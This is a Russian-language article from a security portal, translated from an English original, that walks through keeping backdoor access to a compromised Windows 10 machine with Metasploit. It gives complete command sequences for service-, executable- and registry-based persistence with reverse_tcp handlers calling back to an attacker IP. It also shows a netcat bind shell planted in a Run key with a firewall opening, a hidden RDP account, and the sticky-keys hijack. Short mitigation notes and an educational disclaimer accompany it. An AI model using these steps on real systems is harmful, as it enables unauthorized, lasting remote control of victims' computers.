Несколько способов создания Persistence в Windows 10 с помощью Metasploit

Дата: 14.07.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности

В этой статье говорится о нескольких способах поддержания доступа или создания персистентного backdoor с помощью платформы Metasploit на той машине, которая была скомпрометирована.

Персистентный backdoor

Слово Persistence может переводиться как постоянный, поэтому в этой статье приведены несколько методов создания постоянного backdoor на компьютере жертвы.

Поскольку для получения доступа к любой системе требуется провести много тяжелой работы, и как только система успешно захвачена, пользователю нужно еще время для дальнейшего ее изучения, существует риск, что жертва может выключить свой компьютер или изменить учетные данные. Вот почему поддержание доступа является важным этапом пентестинга. Персистентность включает в себя методы, которые помогают человеку сохранить доступ к системе и получить измененные учетные данные при необходимости.

Предварительные данные:

ОС жертвы: Windows 10

ОС пользователя: Kali Linux (Metasploit Framework)

Примечание: для создания персистентного backdoor у пользователя должна быть скомпрометированная машина жертвы с включенным сеансом meterpreter, чтобы выполнить все действия, перечисленные в этой статье.

Методы получения персистентности с помощью Metasploit

Пора начинать: система жертвы уже была скомпрометирована и запущен сеанс meterpreter на правах администратора. Теперь пользователь хочет установить постоянный бэкдор в системе жертвы, который обеспечит обратное соединение при необходимости.

Служба персистентности

Этот модуль будет генерировать и загружать исполняемый файл на удаленный хост, а затем сделает его постоянным сервисом. Будет создана новая служба, которая запускает полезную нагрузку всякий раз, когда это необходимо. Требуются привилегии администратора.

Таким образом, пользователь введет следующие команды на своем Kali Linux для запуска упомянутого модуля:

use exploit/windows/local/persistence_service
set session 2
set lport 5678
exploit

Вышеупомянутый модуль, который будет генерировать и загружать исполняемый файл в систему жертвы под каталогом / temp как «lVFC.exe», и сделает его службой персистентности.

Если жертва перезагрузит систему, предыдущий сеанс meterpreter будет окончен. Теперь необходимо настроить мультиобработчик с помощью следующих команд для запуска полезной нагрузки:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 5678
exploit

Как только система жертвы будет запущена, пользователь автоматически получит сеанс meterpreter.

Когда компьютер запускается автоматически, некоторые из его служб работают по умолчанию, поэтому эксплойт persistence_service создает новую службу, которая будет активировать полезную нагрузку всякий раз, когда это необходимо. На приведенном ниже рисунке можно увидеть, что исполняемый файл IVFC.exe работает под именем пользователя системы. Надо проверить путь этого файла:

C:/Windows/Temp/IVFC.exe

Метод митигирования для эксплойта persistence_service

Прежде всего, следует определить незнакомые файлы, которые уже запущены, а затем остановить исполняемый файл, т.е. IVFC.exe и удалить его из каталога temp.

Persistence_exe

Это второй способ сохранить доступ к компьютеру жертвы. В этом скрипте уже был получен сеанс meterpreter компьютера жертвы, и есть доступ пользователя.

Этот модуль загрузит исполняемый файл в систему жертвы и сделает его персистентным. Он может быть установлен как пользователь, система или служба. В данном этот модуль будет задействован с помощью сеанса 1 (уже скомпрометированного) и установки rexpath (удаленного исполняемого пути). Этот файл полезной нагрузки будет создан на компьютере жертвы пользователем, но из-за скрипта персистентности он будет сохранен в каталоге temp с именем default.exe (его можно изменить). Нужно установить файл в меню задач автозапуска по пути реестра, указанному на рисунке ниже.

Для запуска этого модуля надо ввести следующие команды:

use post/windows/manage/persistence_exe
set session 1
set rexepath /root/payload.exe
exploit

После успешного запуска модуля пользователь должен настроить мультиобработчик с помощью следующей команды:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 1234
exploit

Как только жертва перезагрузит свой компьютер и войдет в систему, пользователь автоматически получит сеанс meterpreter.

На приведенном ниже рисунке можно увидеть функцию persistence_exe, которая создает службу автозапуска:

HKCU/software/microsoft/windows/currentversion/run/FOCxoPAO

Сервис начнет работать, как только компьютер жертвы запустится. Файл по умолчанию создается в каталоге temp.

Метод митигирования для Persistence_exe

Во-первых, нужно удалить запись из редактора реестра по пути:

HKCU/software/microsoft/windows/currentversion/run/FOCxoPAO

А затем удалить исполняемый файл полезной нагрузки из каталога temp и перезагрузить систему.

Реестр персистентности

Реестр является основной частью Windows и содержит избыток необработанных данных. Злоумышленники любят выбирать места реестра Windows для подключения к системе жертвы, чтобы файлы или коды не могли быть обнаружены сканированием на предмет подозрительных действий.

Этот модуль установит полезную нагрузку, которая выполняется во время загрузки компьютера. Она будет происходить либо при входе пользователя в систему, либо при запуске системы через значение реестра в разделе “CurrentVersion\Run” (в зависимости от привилегий и выбранного метода). Полезная нагрузка будет полностью находиться в реестре.

Поскольку компьютер жертвы уже был скомпрометирован и получен сеанс meterpreter, необходимо использовать следующую команду для выполнения сохраняемости реестра.

use exploit/windows/local/registry_persistence 
set session 1
set lport 7654
exploit

После выполнения эксплойта он будет создавать ключ реестра в разделе HKCU\software\wl4cN9w:

Если жертва перезагружает систему, сеанс meterpreter будет отключен. Для получения сеанса снова, следует просто установить полезную нагрузку мультиобработчика и выполнить ее.

use exploit/multi/handler
set set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 7654
exploit

Как только компьютер жертвы запустится, и человек войдет в систему, автоматически будет получен meterpreter из-за сценария автозапуска в реестре, который был установлен злоумышленником. Registry _persistence успешно выполняется.

С помощью приведенного ниже изображения можно проверить путь раздела реестра, созданного эксплойтом registry_persistence.

Получение персистентности с помощью Netcat

Netcat или nc – это утилита, которая использует TCP и UDP-соединения для чтения и записи в сети. Она может быть применена как для атаки, так и для обеспечения безопасности. В случае атаки утилита управляется скриптами, что делает ее довольно надежным бэкэндом. Если говорить о безопасности, то инструмент помогает отлаживать сеть наряду с инвестированием в нее.

Теперь настала пора сделать бэкдор persistence Netcat на скомпрометированной системе. Поскольку сеанс meterpreter уже получен, осталось загрузить файл netcat.exe в system32 компьютера жертвы с помощью следующей команды:

upload /usr/share/windows-binaries/nc.exe C:\windows\system32

Следующий шаг – настроить netcat на прослушивание случайного порта, например, 4445. После открыть его при запуске и установить соединение.

Надо использовать следующую команду:

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'

При успешном подключении netcat пользователь получает shell компьютера жертвы. Теперь он добавит новое правило для межсетевого экрана под названием “netcat”, в котором входящее соединение позволит использовать порт 4445 с помощью интерактивной командной строки cmd, выполняющей команду netsh. Вводится следующая команда:

netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445

Для проверки режима работы и состояния порта выполняется команда:

netsh firewall show portopening

Когда жертва снова перезагрузит систему, пользователь получит netcat shell. В Kali Linux (атакующая система) следует выполнить данную команду, чтобы подключить бэкдор netcat по порту 4445.

nc -nv 192.168.0.142 4445

Персистентность с помощью RDP

После установления сеанса meterpreter с уже скомпрометированной целевой системой, пользователь будет применять скрипт getgui от Carlos Perez, что включает в себя удаленный рабочий стол, а также он способен создать учетную запись пользователя для входа.

Имя пользователя: Nisha

Пароль: 123

Выполняется следующая команда:

run getgui -e -u nisha -p 123

С помощью данного модуля можно использовать взлом «sticky keys». Взлом предоставляет пользователю средство для получения системного shell с помощью взаимодействия на уровне пользовательского интерфейса на экране входа в систему RDP или через диалоговое окно подтверждения UAC.

use post/windows/manage/sticky_keys
set session 2
exploit

Как можно увидеть, sticky keys успешно добавлены, теперь, чтобы запустить эксплойт на RDP или UAC, нужно нажать клавишу Shift 5 раз.

Теперь пользователь проверит сертификат и соединение с помощью rdesktop и введет «Yes». Выполняется следующая команда:

rdesktop 192.168.0.142

Ура! Цель достигнута.

Заключение

Персистентность не требует никакой аутентификации для подключения к системе жертвы. Чтобы завершить пентестинг, всегда следует помнить о необходимости очистки процессов и служб бэкдора на хосте жертвы.

Автор переведенной статьи: Nisha Sharma

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Поделиться ссылкой

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *